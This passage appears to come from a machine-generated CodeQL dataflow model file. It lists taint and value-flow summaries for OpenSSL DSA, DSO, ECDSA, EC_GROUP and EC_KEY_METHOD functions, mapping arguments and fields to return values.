- ["", "", True, "DSA_meth_get_init", "(const DSA_METHOD *)", "", "Argument[*0].Field[*init]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_get_keygen", "(const DSA_METHOD *)", "", "Argument[*0].Field[*dsa_keygen]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_get_mod_exp", "(const DSA_METHOD *)", "", "Argument[*0].Field[*dsa_mod_exp]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_get_paramgen", "(const DSA_METHOD *)", "", "Argument[*0].Field[*dsa_paramgen]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_get_sign", "(const DSA_METHOD *)", "", "Argument[*0].Field[*dsa_do_sign]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_get_sign_setup", "(const DSA_METHOD *)", "", "Argument[*0].Field[*dsa_sign_setup]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_get_verify", "(const DSA_METHOD *)", "", "Argument[*0].Field[*dsa_do_verify]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_new", "(const char *,int)", "", "Argument[*0]", "ReturnValue[*].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_new", "(const char *,int)", "", "Argument[0]", "ReturnValue[*].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "DSA_meth_new", "(const char *,int)", "", "Argument[1]", "ReturnValue[*].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_set0_app_data", "(DSA_METHOD *,void *)", "", "Argument[**1]", "Argument[*0].Field[***app_data]", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_set0_app_data", "(DSA_METHOD *,void *)", "", "Argument[*1]", "Argument[*0].Field[**app_data]", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_set0_app_data", "(DSA_METHOD *,void *)", "", "Argument[1]", "Argument[*0].Field[*app_data]", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_set1_name", "(DSA_METHOD *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_set1_name", "(DSA_METHOD *,const char *)", "", "Argument[1]", "Argument[*0].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "DSA_meth_set_bn_mod_exp", "(DSA_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*bn_mod_exp]", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_set_finish", "(DSA_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*finish]", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_set_flags", "(DSA_METHOD *,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_set_init", "(DSA_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*init]", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_set_keygen", "(DSA_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*dsa_keygen]", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_set_mod_exp", "(DSA_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*dsa_mod_exp]", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_set_paramgen", "(DSA_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*dsa_paramgen]", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_set_sign", "(DSA_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*dsa_do_sign]", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_set_sign_setup", "(DSA_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*dsa_sign_setup]", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_set_verify", "(DSA_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*dsa_do_verify]", "value", "dfc-generated"] + - ["", "", True, "DSA_new_method", "(ENGINE *)", "", "Argument[0]", "ReturnValue[*].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "DSA_print", "(BIO *,const DSA *,int)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "DSA_print", "(BIO *,const DSA *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "DSA_print_fp", "(FILE *,const DSA *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "DSA_set0_key", "(DSA *,BIGNUM *,BIGNUM *)", "", "Argument[*1]", "Argument[*0].Field[**pub_key]", "value", "dfc-generated"] + - ["", "", True, "DSA_set0_key", "(DSA *,BIGNUM *,BIGNUM *)", "", "Argument[*2]", "Argument[*0].Field[**priv_key]", "value", "dfc-generated"] + - ["", "", True, "DSA_set0_key", "(DSA *,BIGNUM *,BIGNUM *)", "", "Argument[1]", "Argument[*0].Field[*pub_key]", "value", "dfc-generated"] + - ["", "", True, "DSA_set0_key", "(DSA *,BIGNUM *,BIGNUM *)", "", "Argument[2]", "Argument[*0].Field[*priv_key]", "value", "dfc-generated"] + - ["", "", True, "DSA_set0_pqg", "(DSA *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*1]", "Argument[*0].Field[*params].Field[**p]", "value", "dfc-generated"] + - ["", "", True, "DSA_set0_pqg", "(DSA *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*2]", "Argument[*0].Field[*params].Field[**q]", "value", "dfc-generated"] + - ["", "", True, "DSA_set0_pqg", "(DSA *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*3]", "Argument[*0].Field[*params].Field[**g]", "value", "dfc-generated"] + - ["", "", True, "DSA_set0_pqg", "(DSA *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[1]", "Argument[*0].Field[*params].Field[*p]", "value", "dfc-generated"] + - ["", "", True, "DSA_set0_pqg", "(DSA *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[2]", "Argument[*0].Field[*params].Field[*q]", "value", "dfc-generated"] + - ["", "", True, "DSA_set0_pqg", "(DSA *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[3]", "Argument[*0].Field[*params].Field[*g]", "value", "dfc-generated"] + - ["", "", True, "DSA_set_flags", "(DSA *,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "DSA_set_method", "(DSA *,const DSA_METHOD *)", "", "Argument[*1]", "Argument[*0].Field[**meth]", "value", "dfc-generated"] + - ["", "", True, "DSA_set_method", "(DSA *,const DSA_METHOD *)", "", "Argument[1]", "Argument[*0].Field[*meth]", "value", "dfc-generated"] + - ["", "", True, "DSA_sign", "(int,const unsigned char *,int,unsigned char *,unsigned int *,DSA *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "DSA_test_flags", "(const DSA *,int)", "", "Argument[*0].Field[*flags]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "DSA_test_flags", "(const DSA *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "DSA_verify", "(int,const unsigned char *,int,const unsigned char *,int,DSA *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "DSAparams_dup", "(const DSA *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "DSAparams_dup", "(const DSA *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "DSAparams_dup", "(const DSA *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "DSAparams_dup", "(const DSA *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "DSAparams_dup", "(const DSA *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "DSAparams_print", "(BIO *,const DSA *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "DSAparams_print", "(BIO *,const DSA *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "DSAparams_print_fp", "(FILE *,const DSA *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "DSO_convert_filename", "(DSO *,const char *)", "", "Argument[*0].Field[**filename]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "DSO_convert_filename", "(DSO *,const char *)", "", "Argument[*0].Field[*filename]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "DSO_convert_filename", "(DSO *,const char *)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "DSO_convert_filename", "(DSO *,const char *)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "DSO_ctrl", "(DSO *,int,long,void *)", "", "Argument[*0].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DSO_ctrl", "(DSO *,int,long,void *)", "", "Argument[2]", "Argument[*0].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "DSO_dsobyaddr", "(void *,int)", "", "Argument[1]", "ReturnValue[*].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "DSO_flags", "(DSO *)", "", "Argument[*0].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DSO_get_filename", "(DSO *)", "", "Argument[*0].Field[**filename]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "DSO_get_filename", "(DSO *)", "", "Argument[*0].Field[*filename]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DSO_load", "(DSO *,const char *,DSO_METHOD *,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "DSO_load", "(DSO *,const char *,DSO_METHOD *,int)", "", "Argument[*1]", "Argument[*0].Field[**filename]", "value", "dfc-generated"] + - ["", "", True, "DSO_load", "(DSO *,const char *,DSO_METHOD *,int)", "", "Argument[*1]", "ReturnValue[*].Field[**filename]", "value", "dfc-generated"] + - ["", "", True, "DSO_load", "(DSO *,const char *,DSO_METHOD *,int)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DSO_load", "(DSO *,const char *,DSO_METHOD *,int)", "", "Argument[1]", "Argument[*0].Field[**filename]", "taint", "dfc-generated"] + - ["", "", True, "DSO_load", "(DSO *,const char *,DSO_METHOD *,int)", "", "Argument[1]", "ReturnValue[*].Field[**filename]", "taint", "dfc-generated"] + - ["", "", True, "DSO_load", "(DSO *,const char *,DSO_METHOD *,int)", "", "Argument[3]", "Argument[*0].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "DSO_load", "(DSO *,const char *,DSO_METHOD *,int)", "", "Argument[3]", "ReturnValue[*].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "DSO_set_filename", "(DSO *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**filename]", "value", "dfc-generated"] + - ["", "", True, "DSO_set_filename", "(DSO *,const char *)", "", "Argument[1]", "Argument[*0].Field[**filename]", "taint", "dfc-generated"] + - ["", "", True, "DTLS_get_data_mtu", "(const SSL *)", "", "Argument[*0].Field[**d1].Field[*mtu]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "DTLS_set_timer_cb", "(SSL *,DTLS_timer_cb)", "", "Argument[1]", "Argument[*0].Field[**d1].Field[*timer_cb]", "value", "dfc-generated"] + - ["", "", True, "ECDH_compute_key", "(void *,size_t,const EC_POINT *,const EC_KEY *,..(*)(..))", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ECDSA_SIG_get0", "(const ECDSA_SIG *,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "ECDSA_SIG_get0", "(const ECDSA_SIG *,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "ECDSA_SIG_get0", "(const ECDSA_SIG *,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ECDSA_SIG_get0", "(const ECDSA_SIG *,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ECDSA_SIG_get0_r", "(const ECDSA_SIG *)", "", "Argument[*0].Field[**r]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ECDSA_SIG_get0_r", "(const ECDSA_SIG *)", "", "Argument[*0].Field[*r]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ECDSA_SIG_get0_s", "(const ECDSA_SIG *)", "", "Argument[*0].Field[**s]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ECDSA_SIG_get0_s", "(const ECDSA_SIG *)", "", "Argument[*0].Field[*s]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ECDSA_SIG_set0", "(ECDSA_SIG *,BIGNUM *,BIGNUM *)", "", "Argument[*1]", "Argument[*0].Field[**r]", "value", "dfc-generated"] + - ["", "", True, "ECDSA_SIG_set0", "(ECDSA_SIG *,BIGNUM *,BIGNUM *)", "", "Argument[*2]", "Argument[*0].Field[**s]", "value", "dfc-generated"] + - ["", "", True, "ECDSA_SIG_set0", "(ECDSA_SIG *,BIGNUM *,BIGNUM *)", "", "Argument[1]", "Argument[*0].Field[*r]", "value", "dfc-generated"] + - ["", "", True, "ECDSA_SIG_set0", "(ECDSA_SIG *,BIGNUM *,BIGNUM *)", "", "Argument[2]", "Argument[*0].Field[*s]", "value", "dfc-generated"] + - ["", "", True, "ECPARAMETERS_free", "(ECPARAMETERS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ECPARAMETERS_free", "(ECPARAMETERS *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ECPKPARAMETERS_free", "(ECPKPARAMETERS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ECPKPARAMETERS_free", "(ECPKPARAMETERS *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "EC_GROUP_copy", "(EC_GROUP *,const EC_GROUP *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "EC_GROUP_dup", "(const EC_GROUP *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EC_GROUP_get0_cofactor", "(const EC_GROUP *)", "", "Argument[*0].Field[**cofactor]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_get0_cofactor", "(const EC_GROUP *)", "", "Argument[*0].Field[*cofactor]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_get0_field", "(const EC_GROUP *)", "", "Argument[*0].Field[**field]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_get0_field", "(const EC_GROUP *)", "", "Argument[*0].Field[*field]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_get0_generator", "(const EC_GROUP *)", "", "Argument[*0].Field[**generator]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_get0_generator", "(const EC_GROUP *)", "", "Argument[*0].Field[*generator]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_get0_order", "(const EC_GROUP *)", "", "Argument[*0].Field[**order]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_get0_order", "(const EC_GROUP *)", "", "Argument[*0].Field[*order]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_get0_seed", "(const EC_GROUP *)", "", "Argument[*0].Field[**seed]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_get0_seed", "(const EC_GROUP *)", "", "Argument[*0].Field[*seed]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_get_asn1_flag", "(const EC_GROUP *)", "", "Argument[*0].Field[*asn1_flag]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_get_cofactor", "(const EC_GROUP *,BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "EC_GROUP_get_curve_name", "(const EC_GROUP *)", "", "Argument[*0].Field[*curve_name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_get_ecparameters", "(const EC_GROUP *,ECPARAMETERS *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "EC_GROUP_get_ecparameters", "(const EC_GROUP *,ECPARAMETERS *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EC_GROUP_get_ecparameters", "(const EC_GROUP *,ECPARAMETERS *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "EC_GROUP_get_ecparameters", "(const EC_GROUP *,ECPARAMETERS *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "EC_GROUP_get_ecparameters", "(const EC_GROUP *,ECPARAMETERS *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "EC_GROUP_get_ecpkparameters", "(const EC_GROUP *,ECPKPARAMETERS *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "EC_GROUP_get_ecpkparameters", "(const EC_GROUP *,ECPKPARAMETERS *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EC_GROUP_get_ecpkparameters", "(const EC_GROUP *,ECPKPARAMETERS *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "EC_GROUP_get_ecpkparameters", "(const EC_GROUP *,ECPKPARAMETERS *)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "EC_GROUP_get_ecpkparameters", "(const EC_GROUP *,ECPKPARAMETERS *)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "EC_GROUP_get_field_type", "(const EC_GROUP *)", "", "Argument[*0].Field[**meth].Field[*field_type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_get_mont_data", "(const EC_GROUP *)", "", "Argument[*0].Field[**mont_data]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_get_mont_data", "(const EC_GROUP *)", "", "Argument[*0].Field[*mont_data]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_get_order", "(const EC_GROUP *,BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "EC_GROUP_get_pentanomial_basis", "(const EC_GROUP *,unsigned int *,unsigned int *,unsigned int *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "EC_GROUP_get_pentanomial_basis", "(const EC_GROUP *,unsigned int *,unsigned int *,unsigned int *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EC_GROUP_get_pentanomial_basis", "(const EC_GROUP *,unsigned int *,unsigned int *,unsigned int *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "EC_GROUP_get_point_conversion_form", "(const EC_GROUP *)", "", "Argument[*0].Field[*asn1_form]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_get_seed_len", "(const EC_GROUP *)", "", "Argument[*0].Field[*seed_len]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_get_trinomial_basis", "(const EC_GROUP *,unsigned int *)", "", "Argument[*0].Field[*poly]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_method_of", "(const EC_GROUP *)", "", "Argument[*0].Field[**meth]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_method_of", "(const EC_GROUP *)", "", "Argument[*0].Field[*meth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_new", "(const EC_METHOD *)", "", "Argument[*0]", "ReturnValue[*].Field[**meth]", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_new", "(const EC_METHOD *)", "", "Argument[0]", "ReturnValue[*].Field[*meth]", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_new_by_curve_name_ex", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_new_by_curve_name_ex", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[*1]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_new_by_curve_name_ex", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_new_by_curve_name_ex", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[1]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "EC_GROUP_new_curve_GF2m", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EC_GROUP_new_curve_GFp", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EC_GROUP_new_from_ecparameters", "(const ECPARAMETERS *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EC_GROUP_new_from_params", "(const OSSL_PARAM[],OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_new_from_params", "(const OSSL_PARAM[],OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_new_from_params", "(const OSSL_PARAM[],OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EC_GROUP_new_from_params", "(const OSSL_PARAM[],OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_new_from_params", "(const OSSL_PARAM[],OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "EC_GROUP_set_asn1_flag", "(EC_GROUP *,int)", "", "Argument[1]", "Argument[*0].Field[*asn1_flag]", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_set_curve_name", "(EC_GROUP *,int)", "", "Argument[1]", "Argument[*0].Field[*curve_name]", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_set_generator", "(EC_GROUP *,const EC_POINT *,const BIGNUM *,const BIGNUM *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "EC_GROUP_set_generator", "(EC_GROUP *,const EC_POINT *,const BIGNUM *,const BIGNUM *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "EC_GROUP_set_point_conversion_form", "(EC_GROUP *,point_conversion_form_t)", "", "Argument[1]", "Argument[*0].Field[*asn1_form]", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_set_seed", "(EC_GROUP *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**seed]", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_set_seed", "(EC_GROUP *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**seed]", "taint", "dfc-generated"] + - ["", "", True, "EC_GROUP_set_seed", "(EC_GROUP *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*seed_len]", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_set_seed", "(EC_GROUP *,const unsigned char *,size_t)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_to_params", "(const EC_GROUP *,OSSL_LIB_CTX *,const char *,BN_CTX *)", "", "Argument[*1]", "Argument[*3].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "EC_GROUP_to_params", "(const EC_GROUP *,OSSL_LIB_CTX *,const char *,BN_CTX *)", "", "Argument[1]", "Argument[*3].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_METHOD_get_compute_key", "(const EC_KEY_METHOD *,..(**)(..))", "", "Argument[*0].Field[*compute_key]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_METHOD_get_init", "(const EC_KEY_METHOD *,..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..))", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "EC_KEY_METHOD_get_init", "(const EC_KEY_METHOD *,..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..))", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EC_KEY_METHOD_get_init", "(const EC_KEY_METHOD *,..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..))", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "EC_KEY_METHOD_get_init", "(const EC_KEY_METHOD *,..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..))", "", "Argument[*0]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "EC_KEY_METHOD_get_init", "(const EC_KEY_METHOD *,..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..))", "", "Argument[*0]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "EC_KEY_METHOD_get_init", "(const EC_KEY_METHOD *,..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..))", "", "Argument[*0]", "Argument[*6]", "taint", "df-generated"] + - ["", "", True, "EC_KEY_METHOD_get_keygen", "(const EC_KEY_METHOD *,..(**)(..))", "", "Argument[*0].Field[*keygen]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_METHOD_get_sign", "(const EC_KEY_METHOD *,..(**)(..),..(**)(..),..(**)(..))", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "EC_KEY_METHOD_get_sign", "(const EC_KEY_METHOD *,..(**)(..),..(**)(..),..(**)(..))", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EC_KEY_METHOD_get_sign", "(const EC_KEY_METHOD *,..(**)(..),..(**)(..),..(**)(..))", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "EC_KEY_METHOD_get_verify", "(const EC_KEY_METHOD *,..(**)(..),..(**)(..))", "", "Argument[*0].Field[*verify]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_METHOD_get_verify", "(const EC_KEY_METHOD *,..(**)(..),..(**)(..))", "", "Argument[*0].Field[*verify_sig]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_METHOD_new", "(const EC_KEY_METHOD *)", "", "Argument[*0].Field[*flags]", "ReturnValue[*].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "EC_KEY_METHOD_new", "(const EC_KEY_METHOD *)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_METHOD_new", "(const EC_KEY_METHOD *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EC_KEY_METHOD_new", "(const EC_KEY_METHOD *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "EC_KEY_METHOD_set_compute_key", "(EC_KEY_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*compute_key]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_METHOD_set_init", "(EC_KEY_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*init]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_METHOD_set_init", "(EC_KEY_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[2]", "Argument[*0].Field[*finish]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_METHOD_set_init", "(EC_KEY_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[3]", "Argument[*0].Field[*copy]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_METHOD_set_init", "(EC_KEY_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[4]", "Argument[*0].Field[*set_group]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_METHOD_set_init", "(EC_KEY_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[5]", "Argument[*0].Field[*set_private]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_METHOD_set_init", "(EC_KEY_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..))", "", "Argument[6]", "Argument[*0].Field[*set_public]", "value", "dfc-generated"] + - ["", "", True, "EC_KEY_METHOD_set_keygen", "(EC_KEY_METHOD 